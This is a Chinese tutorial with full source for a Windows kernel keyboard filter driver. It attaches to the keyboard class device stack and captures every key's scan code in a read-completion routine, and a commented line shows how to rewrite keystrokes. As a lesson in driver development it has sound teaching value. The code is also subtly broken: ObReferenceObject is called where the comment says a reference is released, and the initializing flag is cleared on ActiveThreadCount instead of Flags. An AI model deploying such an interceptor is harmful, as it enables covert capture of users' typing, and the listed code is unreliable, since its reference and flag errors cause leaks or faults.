WindowsAPI编程核心技术-键盘按键记录过滤驱动

实现原理

驱动中有设备栈的概念,栈内成员是设备,一个连着一个。同一个设备栈中的设备,IRP传递方向是从栈顶到栈底。新添加的设备附加在设备栈顶,新设备总最先获取IRP数据。

键盘过滤驱动工作在异步模式下,发送请求IRP_MJ_READ到驱动设备栈,驱动收到后挂起,直到按下一个键,驱动完成IRP并作为返回值返回。IRP带着数据返回后被传递给对应事件系统处理,系统再紧接着发送下一个IRP_MJ_READ请求。

驱动程序创建一个键盘设备,附加在键盘类KbdClass设备栈上顶。

创建过滤驱动设备

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NTSTATUS AttachKdbClass(PDEVICE_OBJECT pDevObj) {
DbgPrint("Enter HookKdbClass\n");
NTSTATUS status = STATUS_SUCCESS;
UNICODE_STRING ustrObjectName;
PFILE_OBJECT pFileObj = NULL;
PDEVICE_OBJECT pKeyboardClassDeviceObject = NULL, pAttachDevObj = NULL;
RtlInitUnicodeString(&ustrObjectName, TEXT("\\Device\\KeyboardClass0"));
// 获取键盘设备对象的指针
status = IoGetDeviceObjectPointer(&ustrObjectName, GENERIC_READ | GENERIC_WRITE, &pFileObj, &pKeyboardClassDeviceObject);
if (!NT_SUCCESS(status)) {
DbgPrint("IoGetDeviceObjectPointer Error[0x%X]\n", status);
return status;
};
// 减少引用
ObReferenceObject(pFileObj);
// 将当前设备附加到键盘设备的设备栈顶上, 返回的是原来设备栈上的栈顶设备, 即当前设栈上附加设备的下一个设备
pAttachDevObj = IoAttachDeviceToDeviceStack(pDevObj, pKeyboardClassDeviceObject);
if (NULL == pAttachDevObj) {
DbgPrint("IoAttachDeviceToDeviceStack Error\n");
return STATUS_UNSUCCESSFUL;
};
// 设置此设备的标志,要与附加到的设备栈上的设备标志保持一致
pDevObj->Flags = pDevObj->Flags | DO_BUFFERED_IO | DO_POWER_PAGABLE;
pDevObj->ActiveThreadCount = pDevObj->ActiveThreadCount & (~DO_DEVICE_INITIALIZING);
// 保存下一设备到DeviceExtension
((PDEVICE_EXTENSION)pDevObj->DeviceExtension)->pAttachDevObj = pAttachDevObj;
((PDEVICE_EXTENSION)pDevObj->DeviceExtension)->ulIrpInQuene = 0;
DbgPrint("Leave HookKdbClass\n");
return status;
};

读请求处理

IRP发来后设置完成回调函数,从中获取按键信息:

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NTSTATUS DriverRead(PDEVICE_OBJECT pDevObj, PIRP pIrp) {
DbgPrint("\nEnter DriverRead\n");
NTSTATUS status = STATUS_SUCCESS;
// 复制 pIrp 的 IO_STACK_LOCATION 到下一设备
IoCopyCurrentIrpStackLocationToNext(pIrp);
// 设置完成实例
IoSetCompletionRoutine(pIrp, ReadCompleteRoutine, pDevObj, TRUE, TRUE, TRUE);
// 记录IRP数量
((PDEVICE_EXTENSION)pDevObj->DeviceExtension)->ulIrpInQuene++;
// 发送IRP到下一设备上
status = IoCallDriver(((PDEVICE_EXTENSION)pDevObj->DeviceExtension)->pAttachDevObj, pIrp);
DbgPrint("Leave DriverRead\n");
return status;
};

按键信息

从完成函数IRP中的AssociatedIrp.SystemBuffer获取按键数据信息PKEYBOARD_INPUT_DATA,结构定义如下:

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typedef struct _KEYBOARD_INPUT_DATA {
USHORT UnitId;
USHORT MakeCode; //扫描码
USHORT Flags; //0按下 1谈起
USHORT Reserved;
ULONG ExtraInformation;
} KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA;

这个结构可以连着多个,所以得先算出到底一块按了几个键。完成回调函数:

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NTSTATUS ReadCompleteRoutine(PDEVICE_OBJECT pDevObj, PIRP pIrp, PVOID pContext) {
NTSTATUS status = pIrp->IoStatus.Status;
PKEYBOARD_INPUT_DATA pKeyboardInputData = NULL;
ULONG ulKeyCount = 0, i = 0;
if (NT_SUCCESS(status)) {
pKeyboardInputData = (PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;
ulKeyCount = (ULONG)pIrp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA);
// 获取按键数据
for (i = 0; i < ulKeyCount; i++)
// Key Press
if (KEY_MAKE == pKeyboardInputData[i].Flags)
// 按键扫描码
DbgPrint("[Down][0x%X]\n", pKeyboardInputData[i].MakeCode);
// Key Release
else if (KEY_BREAK == pKeyboardInputData[i].Flags)
// 按键扫描码
DbgPrint("[Up][0x%X]\n", pKeyboardInputData[i].MakeCode);
//可以添加上这这一句,然后按键全部被改为了 按下 A
//pKeyboardInputData[i].MakeCode = 0x1e;
};
if (pIrp->PendingReturned)
IoMarkIrpPending(pIrp);
// 减少IRP在队列的数量
((PDEVICE_EXTENSION)pDevObj->DeviceExtension)->ulIrpInQuene--;
status = pIrp->IoStatus.Status;
return status;
};

驱动卸载

因为基本一直会有IRP_MJ_READ请求在等待按键,只有极短事件处于非挂起状态。如果这时卸载驱动,按键后IRP上传找不到驱动直接蓝屏。

想要动态卸载,就在设备扩展中添加一个ulIrpInQueue域。卸载时先取消附加键盘设备,再一直循环判断ulIrpInQueue是否为0,不为0等待。直到用户手动按键,它就会在IRP中完成返回。由于不附加键盘设备栈,就不会有新的IRP_MJ_READ产生,此时ulIrpInQueue为0,可正常卸载。

但这样需要手动按一个键后才能真正卸载。

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VOID DriverUnload(PDRIVER_OBJECT pDriverObject) {
DbgPrint("Enter DriverUnload\n");
PDEVICE_OBJECT pDevObj = pDriverObject->DeviceObject;
LARGE_INTEGER liDelay = { 0 };
if (NULL == pDevObj)
return;
if (NULL == pDevObj->DeviceExtension)
return;
// 先把过滤驱动设备和键盘设备分离, 以免产生新的IRP_MJ_READ
IoDetachDevice(((PDEVICE_EXTENSION)pDevObj->DeviceExtension)->pAttachDevObj);
// 对于为完成的IRP,因为只前通过IoSetCompletionRoutine已经设置IO完成例程 那么对于未完成的IRP ,在完成之后会调用 该层设备的函数 需要手动按键, 是pending状态的IRP完成返回
liDelay.QuadPart = -1000000;
while (0 < ((PDEVICE_EXTENSION)pDevObj->DeviceExtension)->ulIrpInQuene) {
KdPrint(("剩余挂起IRP:%d\n", ((PDEVICE_EXTENSION)pDevObj->DeviceExtension)->ulIrpInQuene));
KeDelayExecutionThread(KernelMode, FALSE, &liDelay);
/*
// 该方法在Win10上不适用
if (1 == ((PDEVICE_EXTENSION)pDevObj->DeviceExtension)->ulIrpInQuene)
//取消掉最后一个IRP
IoCancelIrp(((PDEVICE_EXTENSION)pDevObj->DeviceExtension)->pLastIrp);
*/
};
UNICODE_STRING ustrSymName;
RtlInitUnicodeString(&ustrSymName, SYM_NAME);
IoDeleteSymbolicLink(&ustrSymName);
if (pDriverObject->DeviceObject)
IoDeleteDevice(pDriverObject->DeviceObject);
DbgPrint("Leave DriverUnload\n");
return;
};

源代码

Driver.h:

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#ifndef _DRIVER_H_
#define _DRIVER_H_


#include <ntddk.h>
#include <Ntddkbd.h>


#define DEV_NAME L"\\Device\\KEYBOARD_LOG_DEV_NAME"
#define SYM_NAME L"\\DosDevices\\KEYBOARD_LOG_SYM_NAME"
#define IOCTL_TEST CTL_CODE(FILE_DEVICE_KEYBOARD, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)


typedef struct _DEVICE_EXTENSION
{
PDEVICE_OBJECT pAttachDevObj;
ULONG ulIrpInQuene;

}DEVICE_EXTENSION, *PDEVICE_EXTENSION;



VOID DriverUnload(PDRIVER_OBJECT pDriverObject);
NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp);
NTSTATUS DriverControlHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp);
NTSTATUS DriverRead(PDEVICE_OBJECT pDevObj, PIRP pIrp);
NTSTATUS DriverPower(PDEVICE_OBJECT pDevObj, PIRP pIrp);
NTSTATUS ReadCompleteRoutine(PDEVICE_OBJECT pDevObj, PIRP pIrp, PVOID pContext);
NTSTATUS CreateDevice(PDRIVER_OBJECT pDriverObject);
NTSTATUS AttachKdbClass(PDEVICE_OBJECT pDevObj);


#endif

Driver.c:

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#include "Driver.h"


NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegPath)
{
DbgPrint("Enter DriverEntry\n");
NTSTATUS status = STATUS_SUCCESS;
ULONG i = 0;

for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
{
pDriverObject->MajorFunction[i] = DriverDefaultHandle;
}

pDriverObject->DriverUnload = DriverUnload;
pDriverObject->MajorFunction[IRP_MJ_CREATE] = DriverDefaultHandle;
pDriverObject->MajorFunction[IRP_MJ_CLOSE] = DriverDefaultHandle;
pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverControlHandle;

pDriverObject->MajorFunction[IRP_MJ_READ] = DriverRead;
pDriverObject->MajorFunction[IRP_MJ_POWER] = DriverPower;

// 创建键盘设备
status = CreateDevice(pDriverObject);
if (!NT_SUCCESS(status))
{
DbgPrint("CreateDevice Error[0x%X]\n", status);
return status;
}

// 附件设备到键盘设备栈上
status = AttachKdbClass(pDriverObject->DeviceObject);
if (!NT_SUCCESS(status))
{
DbgPrint("AttachKdbClass Error[0x%X]\n", status);
return status;
}

DbgPrint("Leave DriverEntry\n");
return status;
}


VOID DriverUnload(PDRIVER_OBJECT pDriverObject)
{
DbgPrint("Enter DriverUnload\n");
PDEVICE_OBJECT pDevObj = pDriverObject->DeviceObject;
LARGE_INTEGER liDelay = { 0 };

if (NULL == pDevObj)
{
return;
}
if (NULL == pDevObj->DeviceExtension)
{
return;
}

// 先把过滤驱动设备和键盘设备分离, 以免产生新的IRP_MJ_READ
IoDetachDevice(((PDEVICE_EXTENSION)pDevObj->DeviceExtension)->pAttachDevObj);

// 对于为完成的IRP,因为只前通过IoSetCompletionRoutine已经设置IO完成例程
// 那么对于未完成的IRP ,在完成之后会调用 该层设备的函数
// 需要手动按键, 是pending状态的IRP完成返回
liDelay.QuadPart = -1000000;
while (0 < ((PDEVICE_EXTENSION)pDevObj->DeviceExtension)->ulIrpInQuene)
{
KdPrint(("剩余挂起IRP:%d\n", ((PDEVICE_EXTENSION)pDevObj->DeviceExtension)->ulIrpInQuene));
KeDelayExecutionThread(KernelMode, FALSE, &liDelay);
/*
// 该方法在Win10上不适用
if (1 == ((PDEVICE_EXTENSION)pDevObj->DeviceExtension)->ulIrpInQuene)
{
//取消掉最后一个IRP
IoCancelIrp(((PDEVICE_EXTENSION)pDevObj->DeviceExtension)->pLastIrp);
}
*/
}

UNICODE_STRING ustrSymName;
RtlInitUnicodeString(&ustrSymName, SYM_NAME);
IoDeleteSymbolicLink(&ustrSymName);

if (pDriverObject->DeviceObject)
{
IoDeleteDevice(pDriverObject->DeviceObject);
}

DbgPrint("Leave DriverUnload\n");
}


NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp)
{
DbgPrint("Enter DriverDefaultHandle\n");

NTSTATUS status = STATUS_SUCCESS;

pIrp->IoStatus.Status = status;
pIrp->IoStatus.Information = 0;
IoCompleteRequest(pIrp, IO_NO_INCREMENT);

DbgPrint("Leave DriverDefaultHandle\n");
return status;
}


NTSTATUS DriverControlHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp)
{
DbgPrint("Enter DriverControlHandle\n");
NTSTATUS status = STATUS_SUCCESS;
PIO_STACK_LOCATION pIoStackLocation = IoGetCurrentIrpStackLocation(pIrp);
ULONG ulInputLength = pIoStackLocation->Parameters.DeviceIoControl.InputBufferLength;
ULONG ulOutputLength = pIoStackLocation->Parameters.DeviceIoControl.OutputBufferLength;
ULONG ulControlCode = pIoStackLocation->Parameters.DeviceIoControl.IoControlCode;
ULONG ulInfo = 0;
PVOID pBuf = pIrp->AssociatedIrp.SystemBuffer;

switch (ulControlCode)
{
case IOCTL_TEST:
{
break;
}
default:
break;
}

pIrp->IoStatus.Status = status;
pIrp->IoStatus.Information = ulInfo;
IoCompleteRequest(pIrp, IO_NO_INCREMENT);

DbgPrint("Enter DriverControlHandle\n");
return status;
}


NTSTATUS DriverPower(PDEVICE_OBJECT pDevObj, PIRP pIrp)
{
DbgPrint("Enter DriverPower\n");
NTSTATUS status = STATUS_SUCCESS;

PoStartNextPowerIrp(pIrp);
IoSkipCurrentIrpStackLocation(pIrp);
status = PoCallDriver(((PDEVICE_EXTENSION)pDevObj->DeviceExtension)->pAttachDevObj, pIrp);

DbgPrint("Leave DriverPower\n");
return status;
}


NTSTATUS DriverRead(PDEVICE_OBJECT pDevObj, PIRP pIrp)
{
DbgPrint("\nEnter DriverRead\n");
NTSTATUS status = STATUS_SUCCESS;

// 复制 pIrp 的 IO_STACK_LOCATION 到下一设备
IoCopyCurrentIrpStackLocationToNext(pIrp);

// 设置完成实例
IoSetCompletionRoutine(pIrp, ReadCompleteRoutine, pDevObj, TRUE, TRUE, TRUE);

// 记录IRP数量
((PDEVICE_EXTENSION)pDevObj->DeviceExtension)->ulIrpInQuene++;

// 发送IRP到下一设备上
status = IoCallDriver(((PDEVICE_EXTENSION)pDevObj->DeviceExtension)->pAttachDevObj, pIrp);

DbgPrint("Leave DriverRead\n");
return status;
}


NTSTATUS ReadCompleteRoutine(PDEVICE_OBJECT pDevObj, PIRP pIrp, PVOID pContext)
{
NTSTATUS status = pIrp->IoStatus.Status;
PKEYBOARD_INPUT_DATA pKeyboardInputData = NULL;
ULONG ulKeyCount = 0, i = 0;

if (NT_SUCCESS(status))
{
pKeyboardInputData = (PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;
ulKeyCount = (ULONG)pIrp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA);

// 获取按键数据
for (i = 0; i < ulKeyCount; i++)
{
// Key Press
if (KEY_MAKE == pKeyboardInputData[i].Flags)
{
// 按键扫描码
DbgPrint("[Down][0x%X]\n", pKeyboardInputData[i].MakeCode);
}
// Key Release
else if (KEY_BREAK == pKeyboardInputData[i].Flags)
{
// 按键扫描码
DbgPrint("[Up][0x%X]\n", pKeyboardInputData[i].MakeCode);
}
//可以添加上这这一句,然后按键全部被改为了 按下 A
// pKeyboardInputData[i].MakeCode = 0x1e;
}
}

if (pIrp->PendingReturned)
{
IoMarkIrpPending(pIrp);
}

// 减少IRP在队列的数量
((PDEVICE_EXTENSION)pDevObj->DeviceExtension)->ulIrpInQuene--;

status = pIrp->IoStatus.Status;
return status;
}


NTSTATUS CreateDevice(PDRIVER_OBJECT pDriverObject)
{
DbgPrint("Enter CreateDevice\n");
NTSTATUS status = STATUS_SUCCESS;
UNICODE_STRING ustrDevName, ustrSymName;
PDEVICE_OBJECT pDevObj = NULL;

RtlInitUnicodeString(&ustrDevName, DEV_NAME);
RtlInitUnicodeString(&ustrSymName, SYM_NAME);

// 创建键盘设备
status = IoCreateDevice(pDriverObject, sizeof(DEVICE_EXTENSION), &ustrDevName, FILE_DEVICE_KEYBOARD, 0, FALSE, &pDevObj);
if (!NT_SUCCESS(status))
{
DbgPrint("IoCreateDevice Error[0x%X]\n", status);
return status;
}

// 创建符号连接
status = IoCreateSymbolicLink(&ustrSymName, &ustrDevName);
if (!NT_SUCCESS(status))
{
DbgPrint("IoCreateSymbolicLink Error[0x%X]\n", status);
return status;
}

DbgPrint("Enter CreateDevice\n");
return status;
}


NTSTATUS AttachKdbClass(PDEVICE_OBJECT pDevObj)
{
DbgPrint("Enter HookKdbClass\n");
NTSTATUS status = STATUS_SUCCESS;
UNICODE_STRING ustrObjectName;
PFILE_OBJECT pFileObj = NULL;
PDEVICE_OBJECT pKeyboardClassDeviceObject = NULL, pAttachDevObj = NULL;

RtlInitUnicodeString(&ustrObjectName, L"\\Device\\KeyboardClass0");

// 获取键盘设备对象的指针
status = IoGetDeviceObjectPointer(&ustrObjectName, GENERIC_READ | GENERIC_WRITE, &pFileObj, &pKeyboardClassDeviceObject);
if (!NT_SUCCESS(status))
{
DbgPrint("IoGetDeviceObjectPointer Error[0x%X]\n", status);
return status;
}
// 减少引用
ObReferenceObject(pFileObj);

// 将当前设备附加到键盘设备的设备栈顶上, 返回的是原来设备栈上的栈顶设备, 即当前设栈上附加设备的下一个设备
pAttachDevObj = IoAttachDeviceToDeviceStack(pDevObj, pKeyboardClassDeviceObject);
if (NULL == pAttachDevObj)
{
DbgPrint("IoAttachDeviceToDeviceStack Error\n");
return STATUS_UNSUCCESSFUL;
}

// 设置此设备的标志,要与附加到的设备栈上的设备标志保持一致
pDevObj->Flags = pDevObj->Flags | DO_BUFFERED_IO | DO_POWER_PAGABLE;
pDevObj->ActiveThreadCount = pDevObj->ActiveThreadCount & (~DO_DEVICE_INITIALIZING);


// 保存下一设备到DeviceExtension
((PDEVICE_EXTENSION)pDevObj->DeviceExtension)->pAttachDevObj = pAttachDevObj;
((PDEVICE_EXTENSION)pDevObj->DeviceExtension)->ulIrpInQuene = 0;

DbgPrint("Leave HookKdbClass\n");
return status;
}